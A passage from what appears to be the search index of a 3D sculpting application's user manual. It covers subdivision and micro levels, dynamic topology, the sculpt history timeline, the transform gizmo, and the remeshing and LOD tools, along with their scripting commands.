subdiv_delete_higher Del Lower, Del Higher subdiv_reconstruct Reconstruct Subdiv subdiv_info List the levels and their triangle counts subdiv_export path=base.obj level=1 Export the visible Parts at a level"},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"speed-and-memory","h":"Speed and memory","t":"Measured on an Apple M1 Pro (Asahi Linux), a cube divided four times to 6.5 million triangles: 1.6M triangles at the top 6.5M triangles at the top Divide to the top level 0.4 s 4.3 s Step down / up between visited levels 1-4 ms 0.1-45 ms Step down right after sculpting the top 0.05-0.13 s 0.2-0.6 s Step up after reshaping the base 0.05-0.15 s 0.6 s Memory for all levels 120 MB 480 MB SculptForge keeps the two levels you visited last ready to show, so going back and forth between a low and a high level (the usual rhythm) is instant. Only the active Part keeps them: selecting another Part frees that memory (50-170 MB for a Part with 1.8 million triangles at the top), and the first level change after you come back takes a moment longer (about 0.1 s at that size) while the level is prepared again."},{"p":"subdivision-levels.html","c":"Subdivision levels","a":"past-the-highest-level","h":"Past the highest level","t":"For more detail than the computer can hold as a mesh (hundreds of millions of polygons), add a micro level on top of the highest level: see Micro levels."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"","h":"Micro levels: hundreds of millions of polygons","t":"Subdivision levels store every vertex of every level. That is what lets you step down and reshape, but it costs about 90 bytes per triangle: a 300 million triangle model would need 27 GB. Micro levels go past the highest subdivision level without a mesh: each triangle of that level carries a regular grid of heights, one 16-bit number per point, and the micro triangles are worked out on the fly by the brushes and by the graphics card. 300 million micro triangles take about 0.4 GB, sculpt in real time and draw at 60+ frames per second. A sphere with 335 million micro triangles: surface noise, a Clay Block band, Crease and Sharp Crease lines (Micro 4, 420 MB)"},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"making-a-micro-level","h":"Making a micro level","t":"Divide the Part to a comfortable highest level (0.3 to 2 million triangles is the sweet spot). In Tool > Geometry, set the Micro slider. Each step is four times the triangles: the label shows the total (Micro 4 on a 1.2 million triangle level is 300 million micro triangles). Click Divide to Micro. The surface stays exactly as smooth as before; the micro level starts flat on it. The micro level sits on the highest subdivision level, so step up to it first. While a micro level exists you can't change subdivision levels (Bake it or delete it first). Micro level Micro triangles per triangle Memory per micro triangle 3 64 1.4 bytes 4 256 1.2 bytes 5 1,024 1.1 bytes 6, 7 4,096, 16,384 1.05 bytes For the smoothest view, prefer a higher micro level on fewer base triangles: 300 million as Micro 5 on 300,000 triangles draws faster than Micro 4 on 1.2 million."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"sculpting","h":"Sculpting","t":"These brushes work on micro levels: Standard, Clay, Clay Block, Smooth, Inflate, Flatten, Trim, Layer, Pinch, Crease, Sharp Crease and Mask (with Ctrl). Symmetry, Falloff, pressure, alphas (Drag Stamp included) and the mask work as usual, and every stroke is one undo step. A micro level stores one height per point, so it moves the surface in and out, never sideways. Pinch, Crease and Sharp Crease sharpen the height profile instead of pulling points together (the result looks the same for creases and folds). Move reshapes the level below the micro level (the base) and the micro detail rides along on it, in its own frame: drag an ear back without smearing the pores. To move the micro surface itself along its normals, tick Move along normals. Big brushes are evaluated on a coarser grid (about 50 points across the brush) and the change is spread smoothly over the points in between, so a brush that covers half the model costs about as much as a small one. The detail under it is kept. Brushes that slide the surface (Tendril, Nudge, VDM stamps) and custom recipe brushes don't apply to micro levels; recipe brushes act as Standard. Vertex Paint, sculpt layers, face group colours and the wireframe aren't shown on micro levels yet."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"baking-down-and-exporting","h":"Baking down and exporting","t":"Bake Micro makes a regular mesh of the micro level in a new Part (the micro level stays). micro_bake level=3 bakes a coarser micro level; replace=true replaces this Part instead. UVs, face groups, hidden faces and the micro mask carry over. Export Displacement writes a 32-bit EXR displacement map over the base UVs (needs UVs) next to the project: the height of the micro surface above the flat base triangles, along the interpolated normal. micro_export_displacement path=detail.png type=vector writes a vector map (object space) or a 16-bit PNG (mid-grey = 0; the message says the scale). Projects keep micro levels (project format 7; projects without one are still written as format 6, so older versions open them). Untouched areas take almost no room in the file."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"very-large-levels-and-laptops","h":"Very large levels and laptops","t":"A micro level larger than the resident cache your hardware profile allows (a quarter of the memory when there is no profile yet) is kept out of core: in a file in the cache folder (~/.cache/sculptforge), of which only the parts you sculpt or look at stay in memory. A billion micro triangles then fit on a 16 GB machine. The status line under the slider says when a level is out of core. SF_MICRO_OUT_OF_CORE=1 forces it (for testing); SF_MICRO_SWAP_DIR picks the folder. How many triangles a frame draws for micro levels follows the machine: the view lowers the detail of far and small areas until a frame fits the budget (2 million on a laptop profile, 8 million on a workstation)."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"scripting","h":"Scripting","t":"Command What it does micro_divide level=4 or micro_divide triangles=300 Add a micro level (by level, or about this many million micro triangles) micro_delete Remove it (undoable) micro_info Level, micro triangles, memory, displacement range micro_bake level=4 replace=false Bake down to a mesh micro_export_displacement path=disp.exr size=4096 type=scalar Displacement map over the base UVs micro_noise amplitude=0.0015 scale=120 Procedural surface noise over the whole micro level sculptforge --bench-micro --bench-sizes 33,100,300 measures memory, brush and frame times on your computer."},{"p":"micro-levels.html","c":"Micro levels: hundreds of millions of polygons","a":"see-also","h":"See also","t":"Subdivision levels Performance Baking normal and displacement maps"},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"","h":"Dynamic topology","t":"With Dynamic on, the brush adds triangles where it needs detail and removes them where it doesn't, as dynamic topology and Blender's Dyntopo do. Pull a sphere out into horns, ears or fingers and the new shapes get triangles of their own instead of stretched ones; block in a creature from a ball without remeshing first. A sphere with horns pulled out by Tendril with Dynamic on, as wireframe and shaded"},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"turn-it-on","h":"Turn it on","t":"Control Where What it does Dynamic Top shelf, Sculpt > Draw & Tablet Turns dynamic topology on or off Detail Top shelf (while Dynamic is on), Sculpt > Draw & Tablet How small the triangles get: 0 coarse, 100 fine (default 50) Constant detail Sculpt > Draw & Tablet Off: the size follows the brush. On: one size for the whole mesh Then sculpt as usual. Every brush works with it except Move (it drags the surface without remeshing), the mask and paint brushes, and the stamping strokes Drag Stamp and Slide Stamp (so VDM stamps don't remesh either). Smooth remeshes towards larger triangles, so smoothing also simplifies. Tip: Turn on Wire (Shift+F) to see the triangles appear under the brush."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"how-big-the-triangles-get","h":"How big the triangles get","t":"By default the triangle size follows the brush size on screen, as in dynamic topology: zoom in or make the brush smaller for finer triangles, zoom out or make it bigger for coarser ones. At Detail 50 an edge is about an eighth of the brush radius; Detail 100 makes them about three times smaller, Detail 0 three times bigger. With Constant detail on, every stroke aims for the same size whatever the zoom and brush, set by Detail relative to the size of the mesh (at 50, about a hundredth of its bounding box diagonal). Use it to bring a whole model to an even density, or to keep the density while you change brush sizes. It is a preference: Store Config (Ctrl+Shift+I) keeps it. Under the brush, edges longer than the target are split, edges much shorter are merged away, and the new triangles are evened out. Outside the brush nothing changes, so you can have big triangles on the back of a head and fine ones around the eyes."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"smooth-remesh","h":"Smooth remesh","t":"Smoothing (Shift) with Dynamic on also simplifies by default: it remeshes toward triangles twice the size, so the smoothed area gets coarser, as in dynamic topology. Smooth remesh under Sculpt > Draw & Tablet > Dynamic topology sets how much (from the discussions): Smooth only (0): Shift only smooths; the triangles stay as they are. Light (50): it remeshes toward triangles one and a half times the size. Simplify (100, the default): as before. It is a preference (Store Config keeps it) and is saved with the project; from a script, dyntopo smooth_remesh=0."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"what-it-keeps-and-what-it-doesnt","h":"What it keeps and what it doesn't","t":"Symmetry. With X (or Y, Z) symmetry on, both sides are remeshed together and get mirrored triangles, not just mirrored shapes. A model whose sides aren't made of mirrored polygons (after Quad Remesh, or sculpted without symmetry) has no mirrored triangles to keep: each side then gets its own new triangles, as fine as the brush's side. Mask and visibility. Fully masked and hidden parts are left alone. Partly masked areas are remeshed but move less, as usual. Borders. Open edges and the borders between face groups stay where they are; their vertices only slide along them. New triangles take the face group of the triangle they came from. Vertex Paint, mask values and sculpt layers are carried onto new vertices (blended between their neighbours). Quads under the brush become triangles. The rest of the mesh keeps its quads. UVs are dropped the first time a stroke remeshes a Part (the status bar says so), since the new triangles have none. Undo brings them back. Unwrap again with Auto UV when you are done."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"subdivision-levels","h":"Subdivision levels","t":"Dynamic topology works on meshes without subdivision levels. On a Part with levels, Dynamic stays off and the status bar says why: go to the level you want to keep and use Del Lower and Del Higher in Tool > Geometry first. If you turn it on and then pick a Part that has levels, strokes sculpt it without remeshing. A good workflow: block in with Dynamic, then Quad Remesh or Voxel Remesh for an even base, Divide for levels, and sculpt the fine detail on them."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"undo-and-speed","h":"Undo and speed","t":"Each stroke is one undo step. Undo puts every triangle back exactly, and it only keeps the part of the mesh the stroke changed, so it costs little memory even on millions of triangles (a few megabytes per stroke). Dynamic topology is fastest on meshes of up to a few million triangles. On the benchmark computer (an M1 Pro), a dab with a medium brush on a one-million-triangle sphere takes 9 to 13 milliseconds including the screen update; undoing a stroke on such a mesh takes about a tenth of a second. A very big brush over very small triangles merges them over several dabs rather than all at once, to keep the brush responsive. See Performance and big meshes."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"from-a-script","h":"From a script","t":"dyntopo enabled=true detail=60 stroke points=\"0.3,0.6,1 0.5,0.4,1\" brush=Tendril radius=0.2 symmetry=x dyntopo enabled=false dyntopo without arguments reports the settings; constant=true switches to a constant detail size. It works the same from the console, sculptforge-cli, MCP and Python. See Scripting and automation."},{"p":"dynamic-topology.html","c":"Dynamic topology","a":"see-also","h":"See also","t":"Sculpting and brushes Subdivision levels Subdivide, remesh, decimate and LODs Quick tour for experienced sculptors"},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"","h":"Sculpt Timeline and timelapse","t":"Every stroke and operation you make is a step on the Sculpt Timeline, the strip along the top of the canvas (or its bottom: Edit > Preferences > Interface > Timeline position). Drag its scrubber to see the model at any point of the session, click a step to go back there, and keep sculpting from it: the steps you had made after it are not thrown away as with a plain undo, they stay as a branch you can switch back to. You can change how strongly a past stroke shows without redoing the strokes after it, and render the whole history as a turntable timelapse video. The Sculpt Timeline strip (here at the bottom of the canvas): three strokes on the active branch, the scrubber at the last one, and the lane of an earlier continuation above the track"},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"the-strip","h":"The strip","t":"Each step is a tick on the track: sculpt strokes in light grey, masks in blue, vertex paint in pink, visibility and face groups in green, and topology changes (dynamic topology, remeshing, Divide, Part changes) as tall teal ticks. The orange scrubber marks the state the canvas shows; the steps after it are dimmed. A dot above a tick marks a re-tuned stroke. Drag along the track to scrub through the history: the model follows as you drag. Click a tick to go to the state after that step. Point at a tick for what the step was, how many vertices it changed and when. Right-click a stroke to re-tune it (see below). The header shows the step you are at, the number of branches and the step's name. Save with project keeps the history with the project, the film icon exports a timelapse, and the arrow folds the strip into a small Timeline tab (click the tab to open it again; Sculpt Timeline in the command palette, F3, does the same). Undo and Redo (Ctrl+Z, Ctrl+Shift+Z) move the scrubber one step, as before. Each Part keeps its own timeline, like its own undo history."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"branches-undo-without-losing-anything","h":"Branches: undo without losing anything","t":"Go back to an earlier step and sculpt: a new branch starts there. The steps you had made after that point stay in the history as a thin lane above the track, starting where the branch splits off. Click the lane to make that branch the active one again; the branch you leave becomes the lane. Nothing is lost by trying an idea and going back."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"re-tuning-a-past-stroke","h":"Re-tuning a past stroke","t":"Right-click a stroke on the track and drag Strength: 1 is the stroke as you made it, 0 removes it, 2 makes it twice as strong. The model updates at once and the strokes you made after it are kept. How it works: the change to that one stroke's displacement is added to the model as it is now. Where later strokes don't touch the area, the result is exactly what you would have had with the new strength. Where later strokes overlap it, they keep the displacement they made at the time, on top of the re-tuned stroke: they are not sculpted again. So a Smooth you did afterwards over the same spot won't smooth the stronger version, and a later Inflate keeps the direction it pushed in then. For most detail passes that is what you want; for a big change under a lot of later work, check the area afterwards. A stroke can't be re-tuned when a step after it replaced the mesh as a whole (dynamic topology, a remesh, Divide, a sculpt layer change): the menu says which step is in the way. Strokes made on a sculpt layer can't be re-tuned either."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"big-meshes","h":"Big meshes","t":"Scrubbing reuses what undo already keeps for each stroke, only the vertices it moved. A run of strokes is swapped in one go, with normals and the view updated once for the whole run, and every few steps the timeline keeps a full copy of the shape (a checkpoint) so a jump across the whole history replays only a few strokes from the nearest one. Measured on an Apple M1 Pro after 220 strokes (a third of them big, up to 4.4 million vertices each), while other heavy programs were running: Mesh One step of the scrubber A jump across the history 21 million triangles 5 ms typical, 50 ms for the biggest strokes about 0.4 to 0.5 s 33 million triangles 5 to 14 ms typical, up to 170 ms for the biggest strokes about 0.6 to 1 s See also Performance and big meshes. The history uses memory: undo keeps up to 1 GB (the oldest steps go first, as before), the timeline up to 1.5 GB more for inactive branches and the extra copy of each stroke that makes fast seeking possible, and up to 1 GB of checkpoints (fewer, further apart, on very big models). With those limits a 21 million triangle model keeps about the last 100 strokes of the size above, a 33 million one about 70; small detail strokes cost far less."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"saving-the-history","h":"Saving the history","t":"Tick Save with project in the strip's header and saving a project also writes its history beside it, as name.sfhist next to name.sfproj. Opening the project brings the timeline back, branches and re-tuned strengths included, as long as the project hasn't been changed elsewhere since. Sculpt strokes, masks, vertex paint, visibility and face groups are saved; a topology change (dynamic topology, remesh, Divide, sculpt layers) cuts the saved history there, keeping what came after it."},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"timelapse-video","h":"Timelapse video","t":"Export timelapse (the film icon in the strip, or Export timelapse... in the command palette) renders the history of the active Part, from the start to the step you are at, as a turntable video: the model builds up stroke by stroke while the camera goes once around it, with a short pause at the start and the end. Pick 1080p or 4K, the length, and where to save the MP4. There are no captions or interface in the video. It needs ffmpeg installed. From the command line, for a project saved with its history: sculptforge creature.sfproj --timelapse creature.mp4 --size 3840x2160 --timelapse-seconds 20"},{"p":"timeline.html","c":"Sculpt Timeline and timelapse","a":"scripting","h":"Scripting","t":"The timeline is scriptable: timeline_info list=true lists the steps (with their ids), timeline_seek index=N shows step N of the active branch, timeline_select node=ID switches to the branch through a step, timeline_retune node=ID strength=0.5 re-tunes a stroke, and timeline_save / timeline_load write and read the .sfhist file."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"","h":"Moving, rotating and posing (Gizmo)","t":"The Gizmo moves, rotates and scales a whole Part, or only the part of it you haven't masked. Use it to place parts (an eye in its socket, a sword in a hand), to fix proportions, and to pose: mask the body, put the pivot at the shoulder and swing the arm. It works, with the same keys. The Gizmo's Move, Scale and Rotate modes; the handle under the cursor turns yellow"},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"the-three-modes","h":"The three modes","t":"Press a key, or click the button on the top shelf (they're also in Sculpt > Symmetry & Gizmo): Key Mode What you drag W Move An arrow moves along that axis. A square moves in its plane. The ring in the centre moves freely in the view plane E Scale A box stretches along that axis. The disc in the centre scales evenly: drag right or up to grow, left or down to shrink R Rotate A ring turns about that axis. The outer white ring turns about the view direction Q Draw Back to sculpting: brushes work again and the gizmo goes away Pressing the same key again also goes back to Draw. X is red, Y green and Z blue; the handle under the cursor turns yellow. While the gizmo is on, dragging anywhere off its handles still turns, pans and zooms the view, and Ctrl still paints the mask, so you can mask and move without leaving the gizmo. While you drag, the amount shows beside the gizmo (the distance, the angle or the percentage), and a rotation draws the swept angle as a slice. Each drag is one undo step (Ctrl+Z), and the gizmo goes back with it."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"snapping","h":"Snapping","t":"Hold Shift while dragging to snap: Rotate: 15 degree steps. Move: whole steps of the grid, a round number about a twentieth of the model's size (0.1, 0.2, 0.5, 1...). Scale: 10% steps. You can press and release Shift during the drag."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"moving-only-part-of-a-part","h":"Moving only part of a Part","t":"The gizmo respects the mask: masked parts stay where they are, partly masked parts move partly, and hidden parts never move. To move only the head of a figure, mask everything else (or paint the mask on the head and invert it with Ctrl+click on the background), then drag. Turn Mask off in the Gizmo panel to move the whole Part whatever the mask."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"posing-a-limb","h":"Posing a limb","t":"Mask what should stay: for an arm, everything but the arm (Ctrl+paint, or Mask Lasso). Press R. The gizmo jumps to the centre of the unmasked arm. Put the pivot at the joint: hold Alt and click the model at the shoulder or elbow. (Or click To Surface, then click the model.) Raise Falloff in the Gizmo panel, for example to 15%. The turn then eases in over that distance from the mask's edge, so the joint bends smoothly instead of creasing along the mask line. Drag a ring. Release, then drag again to refine; each drag is its own undo step. Posing: upper arm masked, pivot at the elbow (left); the forearm turning with a 29% falloff (right) Falloff only ever eases in on the unmasked side: the masked part stays exactly where it was. It is measured along the surface, as a share of the Part's size, so it bends the same way on a rough model and on one with millions of polygons."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"symmetry","h":"Symmetry","t":"With X, Y or Z symmetry on (top shelf), a masked transform is mirrored: the unmasked part on the other side of the symmetry plane takes the mirror image of the move, so both arms rise together. This needs a mask and a pivot off the plane; a Part moved as a whole just moves."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"the-pivot","h":"The pivot","t":"The pivot is the point rotation and scaling turn about, and where the gizmo sits. It starts at the centre of what will move (the Part, or its unmasked part) and follows it when you change the mask or pick another Part. To Do this Move the gizmo without moving the model Alt+drag any Move handle Turn the gizmo's axes without turning the model Alt+drag a Rotate ring (the axes switch to Surface) Put the pivot on the surface Alt+click the model, or To Surface then click the model Type the pivot The three numbers under the mode buttons in the Gizmo panel Go back to the centre, with world axes Reset After a drag the gizmo moves (and with Surface axes, turns) with what it moved."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"world-or-surface-axes","h":"World or Surface axes","t":"World keeps the gizmo's arrows and rings on the world's X, Y and Z. Surface lines them up with the surface where you put the pivot (Y along the surface normal) and turns them with your rotations, which is handy for sliding a part along itself, or for twisting a forearm about its own length."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"typing-exact-values","h":"Typing exact values","t":"The Gizmo panel opens in the corner of the canvas while the gizmo is on. Under the options it has Move (X, Y, Z), Rotate (degrees about X, then Y, then Z) and Scale (percent). Type the amounts and click Apply: the model moves, turns and scales by them about the pivot, along the gizmo's axes, in one undo step. Clear sets them back to 0 and 100%. The values stay after Apply, so clicking Apply again repeats the step (rotate by 15 degrees, again, again)."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"all-parts","h":"All Parts","t":"Turn on All Parts in the panel to move every visible Part together, for example to turn a whole character with its eyes, teeth and clothes. The pivot is the centre of all of them. Each Part gets its own undo step: undo goes back in the active Part, and selecting another Part undoes its part."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"what-a-transform-keeps","h":"What a transform keeps","t":"A transform only changes where the vertices are. Face Groups, quads, UVs, vertex paint, textures, the mask and the topology stay as they are. Sculpt layers move with the surface: the base and every layer's offsets are transformed together, so a layer you sculpted on a forearm stays on it after posing, and layer sliders keep working. With subdivision levels you can pose at a low level: the detail of the higher levels, sculpt layers included, turns with it when you step back up. Projects save the result, and the gizmo's pivot and options too."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"scripting","h":"Scripting","t":"Every gizmo drag appears in the console as the transform command that repeats it, so Copy session as script replays your posing. You can also type it, or use it in scripts and sculptforge-cli: transform translate=0,0.5,0 transform rotate=0,0,45 pivot=1.2,0.4,0 falloff=0.15 transform scale=2 all=true Parameter Meaning translate Movement x,y,z in world units rotate Degrees about X, then Y, then Z (of orient) scale One number, or x,y,z along the axes of orient (above 0) pivot center (default: the centre of what moves), origin, or x,y,z orient world (default), or the axes as x,y,z Euler degrees masked true (default) leaves masked parts; false moves everything falloff Soft joint width as a share of the size, 0-1 (default 0) symmetry Mirror a masked transform across these planes, e.g. x all Every visible Part (Transpose All)"},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"speed","h":"Speed","t":"The gizmo recomputes every frame from where the drag started, touching only the vertices that move, and sends only the changed range to the graphics card. On a 1.3 million triangle model a drag frame takes about 2 ms to transform plus about 7 ms to upload, and the release about 20 to 40 ms; undo is as fast."},{"p":"gizmo.html","c":"Moving, rotating and posing (Gizmo)","a":"see-also","h":"See also","t":"Masking Parts Sculpt layers and blend shapes Keyboard and mouse"},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"","h":"Subdivide, remesh, decimate and LODs","t":"These tools change the topology of the active Part: add resolution for detail, rebuild an even surface, reduce the triangle count, make it symmetric, or make a chain of levels of detail for a game engine. This chapter explains what each one does to your mesh and its attributes, and when to use it. All of them work on the active Part and, except the LOD preview, are undoable with Ctrl+Z."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"at-a-glance","h":"At a glance","t":"Tool Where Triangles Quads Keeps sculpt layers Keeps mask and vertex paint Keeps face groups, hidden faces, UVs Divide (levels) Tool > Geometry > Divide, Ctrl+D x4 per level, lower levels kept Each quad becomes four (Catmull-Clark) Yes Yes (interpolated) Yes Subdivide Tool > Geometry > Subdivide x4 per level Each quad becomes four Yes Yes (interpolated) Yes Voxel Remesh Tool > Remesh > Voxel Remesh Set by resolution All quads (new ones) Baked in Yes (transferred) No (reset); a texture is kept on new UVs with Keep Texture Quad Remesh Tool > Geometry > Quad Remesh Set by Target Polygons All quads, with edge loops Baked in Yes (transferred) Face Groups with Keep Groups; no hidden faces; a texture is kept on new UVs with Keep Texture Decimate Tool > Geometry > Decimate Reduced No, all triangles Yes Yes Yes Mirror And Weld Tool > Geometry > Modify Topology Twice the kept side Yes Yes Yes (mirrored) Yes (mirrored) LOD chain Tool > Export One level per ratio step LOD0 keeps them; lower levels are triangles Yes, on every level Yes Yes"},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"quads-and-triangles","h":"Quads and triangles","t":"SculptForge sculpts on triangles, but it remembers which pairs of triangles were one quad. A model you open from the Bridge, Blender or Maya (OBJ, FBX, PLY, USD) keeps its quads: Wire draws them as quads, without the diagonal, and OBJ, FBX, PLY, USD and Bridge exports write them back as quads, corner for corner. Polygons with more than four sides are split into triangles. The new Plane and Cube are made of quads, and so is the result of a voxel remesh. Sculpting, masking, vertex paint, sculpt layers, undo, Parts and project files all keep the quads. Subdivide turns every quad into four quads. Two things turn quads into triangles: Decimate (and the lower levels of a LOD chain) collapses edges, so its result is all triangles. When the two halves of a quad end up in different face groups, or one half is deleted, they show and export as two triangles. glTF (.glb) and STL only hold triangles, so those exports always write triangles."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"subdivide","h":"Subdivide","t":"For sculpting at several resolutions use Divide (Ctrl+D), which keeps the lower levels to step back to: see Subdivision levels. Subdivide is the one-way version. Tool > Geometry > Subdivide smooths the mesh with Loop subdivision. Each level multiplies the triangle count by four and rounds off the shape slightly. Sculpt layers are subdivided with the mesh, so blend shapes keep working. Mask, vertex paint and UVs are interpolated; face groups and hidden faces carry over. Each quad becomes four quads; triangles become four triangles. SculptForge refuses to subdivide past 50 million triangles. Note: Subdivide replaces the mesh with a denser one and drops any subdivision levels: it subdivides the level you are on, which becomes the new base, and the status line says so (undo brings the levels back). Voxel Remesh, Decimate and Quad Remesh do the same. To add triangles only where you sculpt, use Dynamic topology. Tip: The bar along the top shows the triangle count of the whole scene. A few million triangles sculpt smoothly on a recent GPU; go up a level only when you need finer detail."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"voxel-remesh","h":"Voxel remesh","t":"Tool > Remesh > Voxel Remesh rebuilds the active Part as an even, watertight surface. Use it to: fuse overlapping pieces into one surface (append a sphere, overlap it, merge, remesh); even out stretched triangles after heavy Move or Tendril work; clean up scans, splat conversions and AI-generated models before sculpting. The Resolution slider next to the button sets how many voxels span the longest side of the model (64 to 400 in the palette, default 200). Higher keeps more detail and makes more triangles. Wireframe of a model before and after a voxel remesh What happens to your data: Sculpt layers are baked into the surface: the result has no layers. Mask and vertex paint are transferred from the nearest original vertex. Face Groups, hidden faces and UVs are reset (everything becomes visible, one face group). Hidden parts are remeshed too. A painted texture is kept with Keep Texture (on by default, shown next to the button when the Part has a texture): the result gets Auto UVs and the texture is projected onto it, every layer included, in the same undo step. This runs in the background (Auto UV of a few hundred thousand triangles takes several seconds) with a progress bar and Cancel. Off: the texture is dropped. See Texture painting. Separate pieces that don't touch stay separate pieces; overlapping ones are merged. The new surface is made of even quads (the original's quads are rebuilt, not kept). Keep Masked (off by default): masked areas keep their triangles exactly, detail included, and only the rest is remeshed. The new surface is joined to the masked area along the mask's edge by a narrow strip of triangles, so the model stays closed. A triangle counts as masked when all three of its corners are at least half masked. A ragged mask edge is tidied by itself (#67): where it touches itself the corner triangles are remeshed, masked spots smaller than the new polygons are remeshed with the rest, and narrow gaps between masked areas are kept; the status line says when it did. If it still can't be joined, the status line says what to change (blur or grow the mask, or unmask where two parts overlap) and nothing changes. Command: remesh keep_masked=true. To remesh several Parts into one, first combine them with Merge visible... or Merge down... in Parts."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"quad-remesh","h":"Quad Remesh","t":"Tool > Geometry > Quad Remesh is automatic quad retopology: it rebuilds the Part as clean quads whose edge loops follow the forms, close to a target polygon count, with Keep Groups, Adaptive Size, vertex paint density and symmetry. Project All (Tool > Parts > Project) brings the sculpted detail back onto the new topology after you divide it. Both have their own chapter: Quad retopology and detail projection."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"close-holes","h":"Close Holes","t":"Tool > Geometry > Close Holes caps every open boundary of the active Part, such as a hole, an open bottom or the rim of an extracted shell. The new patch's triangles are sized like the ones around the hole, and the patch follows the curve of the surface around it, so a hole in a sphere closes round, not flat. The rest of the Part is not changed. The patches get a face group of their own, so you can mask or hide them in one click. Close Holes makes an open scan or an extracted part watertight without a remesh. Ctrl+Z brings the holes back."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"decimate","h":"Decimate","t":"Tool > Geometry > Decimate reduces the triangle count while keeping the shape, using quadric edge collapse. The Keep slider next to the button sets the fraction of triangles to keep (0.05 to 0.95, default 0.50). Decimation keeps open borders in place, and because it only removes vertices, every remaining vertex keeps its exact sculpt layer offsets, mask and vertex paint. Face Groups, hidden flags and UVs survive on the remaining triangles. The result is all triangles: quads are not kept. With Keep Masked (under the button, off by default) masked vertices are never removed, so masked areas keep their triangles exactly and only the rest is decimated (decimate keep_masked=true). Use it to make a lighter version of a finished sculpt for export, 3D printing or a review, or to bring a dense scan down to something you can work with. Tip: Decimate a duplicate Part (Tool > Parts > Duplicate) when you want to keep the full-resolution sculpt in the same project."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"mirror-and-weld","h":"Mirror And Weld","t":"Mirror And Weld, in Tool > Geometry > Modify Topology, makes a model symmetric: it keeps the half on the side of the chosen axis (+X is the model's left, your right when you look at its face), mirrors it onto the other side and welds the two halves along the middle into one watertight mesh. Use it after sculpting one side without symmetry, to finish a half model, or to repair a model whose sides have drifted apart. A head with a scar and a brow ridge on one side, then the same head after Mirror And Weld X Pick the axis with X, Y and Z beside the button (X is on by default). With several on, they apply one after the other. The mirror plane goes through the world's origin, the same plane symmetry uses. Polygons that cross it are cut on it, so the seam is clean wherever the model sits. Points on an open edge within 0.1% of the model's size from the plane are welded onto it, which closes a half model whose seam isn't exactly at 0. Face Groups, vertex paint, the mask, UVs, quads and sculpt layers are kept; the mirrored side takes the kept side's. Subdivision levels are removed (undo restores them), as with the other tools on this page. To keep the other side, flip the model first with Tool > Deformation > Mirror, or run mirror_and_weld side=negative."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"mirror","h":"Mirror","t":"Tool > Deformation > Mirror flips the Part across the plane through the origin on the chosen axes, with its surface still facing outward. Face Groups, vertex paint, UVs and layers come along; subdivision levels are removed (undo restores them). mirror pivot=center flips it in place about its own centre instead."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"lod-chains","h":"LOD chains","t":"A level-of-detail chain is a series of lighter copies of the model for game engines: LOD0 is the full sculpt, and each level after it has a fixed fraction of the triangles of the one before. Open Tool > Export. Set LODs (2 to 6 levels, including LOD0) and Reduction (the triangle ratio from one level to the next, 0.1 to 0.9, default 0.50). Click Generate LOD chain. The Export sub-palette with a generated LOD chain A table lists each level with its triangle count and its budget as a percentage of LOD0. Click a level to preview it on the canvas (wireframe turns on and sculpting pauses); click Sculpt in the table to go back to the editable mesh. The next stroke, or a change to LODs or Reduction, clears the chain; click Generate LOD chain again to rebuild it. Blend shapes (sculpt layers) are kept on every level, so morph targets work at every LOD. To write the chain to disk: LOD chain (GLB per level) in the same sub-palette, or File > Export LOD Chain..., writes one GLB per level named _LOD0.glb, _LOD1.glb and so on. Send to Unreal and Export FBX for Unreal... pack the LODs into one FBX for Unreal's automatic LOD import. See Exporting for these exports and their options. Note: The preview in Tool > Export is of the active Part. The exports themselves build a chain for every visible Part."},{"p":"geometry.html","c":"Subdivide, remesh, decimate and LODs","a":"undo-and-safety","h":"Undo and safety","t":"Subdivide, remesh, Quad Remesh, decimate, Mirror And Weld, Mirror and 